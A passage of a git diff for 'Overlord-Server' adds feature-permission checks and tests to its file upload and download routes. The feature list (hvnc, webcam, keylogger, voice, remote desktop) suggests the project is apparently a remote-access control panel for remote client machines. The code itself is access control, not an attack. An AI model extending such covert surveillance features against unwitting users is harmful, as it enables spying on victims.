${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\Games\\big.iso", + fileName: "big.iso", + }), + }), + requestUrl, + mockServer, + deps, + ); + + expect(res).not.toBeNull(); + expect(res!.status).toBe(403); + expect(await res!.text()).toContain("client access denied"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); + + test("upload stage PUT returns 403 when file_browser is revoked after intent creation", async () => { + const auth = await createOperatorToken({ fileBrowserAllowed: true }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/upload/request"); + const requestRes = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\Games\\small.bin", + fileName: "small.bin", + }), + }), + requestUrl, + mockServer, + deps, + ); + expect(requestRes!.status).toBe(200); + const requestJson = (await requestRes!.json()) as any; + + // Revoke after the intent has been created. + setUserFeaturePermission(auth.userId, "file_browser", false); + + const stageUrl = new URL(`https://localhost${requestJson.uploadUrl}`); + const stageRes = await handleFileDownloadRoutes( + new Request(stageUrl, { + method: "PUT", + headers: { Authorization: `Bearer ${auth.token}` }, + body: new TextEncoder().encode("hello"), + }), + stageUrl, + mockServer, + deps, + ); + + expect(stageRes).not.toBeNull(); + expect(stageRes!.status).toBe(403); + expect(await stageRes!.text()).toContain("feature access denied"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); + + test("download serve returns 403 when file_browser is revoked after intent creation", async () => { + const auth = await createOperatorToken({ fileBrowserAllowed: true }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/download/request"); + const requestRes = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\Games\\file.bin", + }), + }), + requestUrl, + mockServer, + deps, + ); + expect(requestRes!.status).toBe(200); + const requestJson = (await requestRes!.json()) as any; + expect(typeof requestJson.downloadUrl).toBe("string"); + + // Revoke after the intent has been created. + setUserFeaturePermission(auth.userId, "file_browser", false); + + const downloadUrl = new URL(`https://localhost${requestJson.downloadUrl}`); + const downloadRes = await handleFileDownloadRoutes( + new Request(downloadUrl, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + downloadUrl, + mockServer, + deps, + ); + + expect(downloadRes).not.toBeNull(); + expect(downloadRes!.status).toBe(403); + expect(await downloadRes!.text()).toContain("feature access denied"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); + + test("upload request succeeds for operator with file_browser allowed (positive control)", async () => { + const auth = await createOperatorToken({ fileBrowserAllowed: true }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/upload/request"); + const res = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\Games\\ok.bin", + fileName: "ok.bin", + }), + }), + requestUrl, + mockServer, + deps, + ); + + expect(res).not.toBeNull(); + expect(res!.status).toBe(200); + const body = (await res!.json()) as any; + expect(body.ok).toBe(true); + expect(typeof body.uploadUrl).toBe("string"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); +}); diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index e4ea82c..c463f72 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -8,7 +8,7 @@ import { logger } from "../../logger"; import { encodeMessage } from "../../protocol"; import { getConfig } from "../../config"; import { isAuthorizedAgentRequest } from "../agent-auth"; -import { canUserAccessClient } from "../../users"; +import { canUserAccessClient, canUserAccessFeature } from "../../users"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -160,6 +160,10 @@ async function serveDownloadById( return new Response("Forbidden: Admin or operator access required", { status: 403 }); } + if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) { + return new Response("Forbidden: feature access denied", { status: 403 }); + } + logger.debug("[filebrowser] http download request", { downloadId, userId: user.userId, @@ -363,6 +367,10 @@ export async function handleFileDownloadRoutes( return new Response("Forbidden: client access denied", { status: 403 }); } + if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) { + return new Response("Forbidden: feature access denied", { status: 403 }); + } + logger.debug("[filebrowser] http upload request", { userId: user.userId, clientId, @@ -408,6 +416,10 @@ export async function handleFileDownloadRoutes( return new Response("Forbidden: Admin or operator access required", { status: 403 }); } + if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) { + return new Response("Forbidden: feature access denied", { status: 403 }); + } + let uploadId = ""; try { uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length)); @@ -651,6 +663,10 @@ export async function handleFileDownloadRoutes( return new Response("Forbidden: client access denied", { status: 403 }); } + if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) { + return new Response("Forbidden: feature access denied", { status: 403 }); + } + const target = clientManager.getClient(clientId); if (!target) { return new Response("Client offline", { status: 404 }); diff --git a/Overlord-Server/src/users.feature-permissions.test.ts b/Overlord-Server/src/users.feature-permissions.test.ts new file mode 100644 index 0000000..168a33a --- /dev/null +++ b/Overlord-Server/src/users.feature-permissions.test.ts @@ -0,0 +1,249 @@ +import { describe, expect, test } from "bun:test"; +import { + ALL_FEATURES, + canUserAccessFeature, + createUser, + deleteUser, + getUserByUsername, + getUserFeaturePermissions, + resetUserFeaturePermissions, + setUserFeaturePermission, + setUserFeaturePermissions, + type FeatureName, +} from "./users"; + +const createdUserIds: number[] = []; + +async function createTempUser(role: "viewer" | "operator" | "admin") { + const username = `fp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`; + const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test"); + expect(result.success).toBe(true); + const user = getUserByUsername(username); + expect(user).not.toBeNull(); + createdUserIds.push(user!.id); + return user!; +} + +function cleanupCreatedUsers() { + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") { + deleteUser(id); + } + } +} + +describe("feature permissions", () => { + test("ALL_FEATURES contains the expected feature keys", () => { + expect(ALL_FEATURES).toEqual([ + "console", + "remote_desktop", + "hvnc", + "webcam", + "file_browser", + "processes", + "keylogger", + "voice", + ]); + }); + + test("admin always has every feature regardless of stored overrides", async () => { + try { + const admin = await createTempUser("admin"); + + for (const f of ALL_FEATURES) { + expect(canUserAccessFeature(admin.id, admin.role, f)).toBe(true); + } + + // Even an explicit deny is ignored for admin role. + setUserFeaturePermission(admin.id, "webcam", false); + expect(canUserAccessFeature(admin.id, "admin", "webcam")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("viewer is denied every feature regardless of stored overrides", async () => { + try { + const viewer = await createTempUser("viewer"); + + for (const f of ALL_FEATURES) { + expect(canUserAccessFeature(viewer.id, viewer.role, f)).toBe(false); + } + + // Granting access to a viewer at the per-feature level does not promote them. + setUserFeaturePermission(viewer.id, "console", true); + expect(canUserAccessFeature(viewer.id, "viewer", "console")).toBe(false); + } finally { + cleanupCreatedUsers(); + } + }); + + test("operator defaults to having every feature enabled", async () => { + try { + const operator = await createTempUser("operator"); + + for (const f of ALL_FEATURES) { + expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true); + } + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserFeaturePermission disables a single feature for an operator", async () => { + try { + const operator = await createTempUser("operator"); + + const result = setUserFeaturePermission(operator.id, "webcam", false); + expect(result.success).toBe(true); + + expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false); + // Other features remain enabled. + expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true); + expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserFeaturePermission can re-enable a previously denied feature", async () => { + try { + const operator = await createTempUser("operator"); + + setUserFeaturePermission(operator.id, "hvnc", false); + expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false); + + setUserFeaturePermission(operator.id, "hvnc", true); + expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserFeaturePermissions applies a bulk update", async () => { + try { + const operator = await createTempUser("operator"); + + const result = setUserFeaturePermissions(operator.id, { + webcam: false, + file_browser: false, + keylogger: true, + }); + expect(result.success).toBe(true); + + expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false); + expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(false); + expect(canUserAccessFeature(operator.id, operator.role, "keylogger")).toBe(true); + // Untouched features keep their default (allowed). + expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserFeaturePermissions ignores unknown feature keys", async () => { + try { + const operator = await createTempUser("operator"); + + const result = setUserFeaturePermissions(operator.id, { + webcam: false, + // @ts-expect-error intentionally unknown feature key + not_a_feature: true, + }); + expect(result.success).toBe(true); + + const perms = getUserFeaturePermissions(operator.id); + expect(perms.webcam).toBe(false); + // Unknown keys never get persisted. + expect((perms as any).not_a_feature).toBeUndefined(); + } finally { + cleanupCreatedUsers(); + } + }); + + test("setUserFeaturePermission rejects invalid feature names", async () => { + try { + const operator = await createTempUser("operator"); + + const result = setUserFeaturePermission( + operator.id, + "not_a_feature" as FeatureName, + false, + ); + expect(result.success).toBe(false); + expect(result.error).toContain("Invalid feature"); + } finally { + cleanupCreatedUsers(); + } + }); + + test("getUserFeaturePermissions returns role-derived values", async () => { + try { + const admin = await createTempUser("admin"); + const operator = await createTempUser("operator"); + const viewer = await createTempUser("viewer"); + + const adminPerms = getUserFeaturePermissions(admin.id); + const operatorPerms = getUserFeaturePermissions(operator.id); + const viewerPerms = getUserFeaturePermissions(viewer.id); + + for (const f of ALL_FEATURES) { + expect(adminPerms[f]).toBe(true); + expect(operatorPerms[f]).toBe(true); + expect(viewerPerms[f]).toBe(false); + } + + // After a deny, the operator's map reflects it. + setUserFeaturePermission(operator.id, "processes", false); + const updated = getUserFeaturePermissions(operator.id); + expect(updated.processes).toBe(false); + expect(updated.console).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); + + test("resetUserFeaturePermissions restores defaults (all enabled for operator)", async () => { + try { + const operator = await createTempUser("operator"); + + setUserFeaturePermissions(operator.id, { + webcam: false, + file_browser: false, + keylogger: false, + }); + expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false); + + const result = resetUserFeaturePermissions(operator.id); + expect(result.success).toBe(true); + + for (const f of ALL_FEATURES) { + expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true); + } + } finally { + cleanupCreatedUsers(); + } + }); + + test("getUserFeaturePermissions for a missing user returns all-false", () => { + const perms = getUserFeaturePermissions(0); + for (const f of ALL_FEATURES) { + expect(perms[f]).toBe(false); + } + }); + + test("feature denials are scoped to the affected user", async () => { + try { + const a = await createTempUser("operator"); + const b = await createTempUser("operator"); + + setUserFeaturePermission(a.id, "webcam", false); + + expect(canUserAccessFeature(a.id, a.role, "webcam")).toBe(false); + expect(canUserAccessFeature(b.id, b.role, "webcam")).toBe(true); + } finally { + cleanupCreatedUsers(); + } + }); +});